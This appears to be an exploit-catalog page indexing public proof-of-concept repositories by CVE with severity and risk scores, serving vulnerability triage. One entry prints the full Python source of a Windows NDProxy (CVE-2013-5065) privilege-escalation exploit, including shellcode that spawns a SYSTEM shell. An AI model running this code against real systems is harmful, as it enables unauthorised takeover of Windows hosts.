Public exploitation

Exploit catalog

Every public exploit we catalog, in one index. Search by CVE, exploit name or technology — and see, right beside it, what the flaw is actually worth: severity, exploitation probability, and whether it’s already under attack.

77,231cataloged exploits

35,420CVEs with public exploitation

24,695lab-tested

All Exploit-DB 24,451Referência 22,266GitHub PoC 14,131VulnCheck XDB 8,635Nuclei 4,274Metasploit 3,474✓ verified onlyrecent popular risk

14,119 exploits

GitHub PoC★ 1

A firefox extension and checker for CVE-2014-0160

CVE-2014-0160HIGHunder attack09 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 2

Checks for vulnerabilities: CVE-2014-0160

CVE-2014-0160HIGHunder attack09 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 170

Test for SSL heartbeat vulnerability (CVE-2014-0160)

CVE-2014-0160HIGHunder attack09 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC

Nmap NSE script that discovers/exploits Heartbleed/CVE-2014-0160

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 452

OpenSSL CVE-2014-0160 Heartbleed vulnerability test

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 7

bleed is a tool to test servers for the 'Heartbleed' vulnerability (CVE-2014-0160).

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 19

Patch openssl #heartbleed with ansible

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 2

Mass, multithreaded testing for servers against Heartbleed (CVE-2014-0160).

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 572

Multi-threaded tool for scanning many hosts for CVE-2014-0160.

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC

obayesshelton/CVE-2014-0160-Scanner

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 330

Heartbleed (CVE-2014-0160) client exploit

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 40

OpenSSL TLS heartbeat read overrun (CVE-2014-0160)

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC

openssl Heart Bleed Exploit: CVE-2014-0160 Mass Security Auditor

CVE-2014-0160HIGHunder attack08 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 2,389

A checker (site and tool) for CVE-2014-0160

CVE-2014-0160HIGHunder attack07 Apr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RISK

GitHub PoC★ 3

Attempts to exploit CVE-2012-3137 on vulnerable Oracle servers

CVE-2012-3137—29 Mar 2014

The authentication protocol in Oracle Database Server 10.2.0.3, 10.2.0.4, 10.2.0.5, 11.1.0.7, 11.2.0.2, and 11.2.0.3 all

35RISK

GitHub PoC★ 8

Android Data Stealing Vulnerability

CVE-2010-4804—06 Feb 2014

The Android browser in Android before 2.3.4 allows remote attackers to obtain SD card contents via crafted content:// UR

43RISK

GitHub PoC★ 199

Linux local root exploit for CVE-2014-0038

CVE-2014-0038—02 Feb 2014

The compat_sys_recvmmsg function in net/compat.c in the Linux kernel before 3.13.2, when CONFIG_X86_X32 is enabled, allo

50RISK

GitHub PoC★ 8

Automated exploit for CVE-2012-3153 / CVE-2012-3152

CVE-2012-3153—28 Jan 2014

Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and

60RISK

GitHub PoC★ 12

Using CVE-2013-6282 to bypass Samsung kernel module authentication

CVE-2013-6282HIGHunder attack21 Dec 2013

The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not

98RISK

GitHub PoC

# NDPROXY Local SYSTEM privilege escalation # http://www.offensive-security.com # Tested on Windows XP SP3 # http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/ # Original crash ... null pointer dereference # Access violation - code c0000005 (!!! second chance !!!) # 00000038 ?? ??? from ctypes import * from ctypes.wintypes import * import os, sys kernel32 = windll.kernel32 ntdll = windll.ntdll GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 NULL = 0x0 OPEN_EXISTING = 0x3 PROCESS_VM_WRITE = 0x0020 PROCESS_VM_READ = 0x0010 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 MEM_FREE = 0x00010000 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = 2097151 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 baseadd = c_int(0x00000001) MEMRES = (0x1000 | 0x2000) MEM_DECOMMIT = 0x4000 PAGEEXE = 0x00000040 null_size = c_int(0x1000) STATUS_SUCCESS = 0 def log(msg): print msg def getLastError(): """[-] Format GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), 0, buf, sizeof(buf), NULL): log(buf.value) else: log("[-] Unknown Error") print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day" print "[*] Vulnerability found in the wild" print "[*] Coded by Offensive Security" tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24) InBuf = c_char_p(tmp) dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE) if dwStatus != STATUS_SUCCESS: print "[+] Something went wrong while allocating the null paged memory: %s" % dwStatus getLastError() written = c_ulong() sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3" sc = "\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh + "\xcc"*(0x400-0x3c-4-len(sh)) alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written)) if alloc == 0: print "[+] Something went wrong while writing our junk to the null paged memory: %s" % alloc getLastError() dwRetBytes = DWORD(0) DEVICE_NAME = "\\\\.\\NDProxy" hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None) if hdev == -1: print "[-] Couldn't open the device... :(" sys.exit() kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0) kernel32.CloseHandle(hdev) print "[+] Spawning SYSTEM Shell..." os.system("start /d \"C:\\windows\\system32\" cmd.exe")

CVE-2013-5065HIGHunder attack07 Dec 2013

NDProxy.sys in the kernel in Microsoft Windows XP SP2 and SP3 and Server 2003 SP2 allows local users to gain privileges

98RISK

GitHub PoC★ 8

CVE-2013-6282 exploit

CVE-2013-6282HIGHunder attack28 Nov 2013

The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not

98RISK

GitHub PoC★ 27

CVE-2013-6282 exploit

CVE-2013-6282HIGHunder attack18 Nov 2013

The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not

98RISK

GitHub PoC★ 410

Debian OpenSSL Predictable PRNG (CVE-2008-0166)

CVE-2008-0166—22 Sep 2013

OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 on Debian-based operating systems uses a random number generator that ge

45RISK

GitHub PoC★ 9

Meatballs1/cve-2013-1300

CVE-2013-1300—09 Sep 2013

win32k.sys in the kernel-mode drivers in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, W

43RISK

GitHub PoC★ 2

Do you own security hotfix with Deviare hooking

CVE-2010-3971—07 Aug 2013

Use-after-free vulnerability in the CSharedStyleSheet::Notify function in the Cascading Style Sheets (CSS) parser in msh

60RISK

GitHub PoC★ 5

CVE-2013-2596 exploit for android

CVE-2013-2596HIGHunder attack16 Jul 2013

Integer overflow in the fb_mmap function in drivers/video/fbmem.c in the Linux kernel before 3.8.9, as used in a certain

71RISK

GitHub PoC

tarunyadav/fix-cve-2013-2094

CVE-2013-2094HIGHunder attack18 Jun 2013

The perf_swevent_init function in kernel/events/core.c in the Linux kernel before 3.8.9 uses an incorrect integer data t

83RISK

GitHub PoC

CVE-2011-1485 - Published: 2011-04-01 - PolicyKit:

CVE-2011-1485—16 Jun 2013

Race condition in the pkexec utility and polkitd daemon in PolicyKit (aka polkit) 0.96 allows local users to gain privil

38RISK

GitHub PoC★ 4

CVE-2013-2094 Linux 2.6.32/2.6.37 - 3.8.10 PERF_EVENTS local root x86/x86_64

CVE-2013-2094HIGHunder attack16 Jun 2013

The perf_swevent_init function in kernel/events/core.c in the Linux kernel before 3.8.9 uses an incorrect integer data t

83RISK

GitHub PoC★ 12

CVE-2013-2597 exploit

CVE-2013-2597HIGHunder attack11 Jun 2013

Stack-based buffer overflow in the acdb_ioctl function in audio_acdb.c in the acdb audio driver for the Linux kernel 2.6

71RISK

We index only the public link to the proof of concept — we never host or redistribute exploitation code. Sources: PoC-in-GitHub, Exploit-DB, Nuclei, Metasploit and VulnCheck XDB. A public PoC existing does not mean the flaw is exploitable in your environment.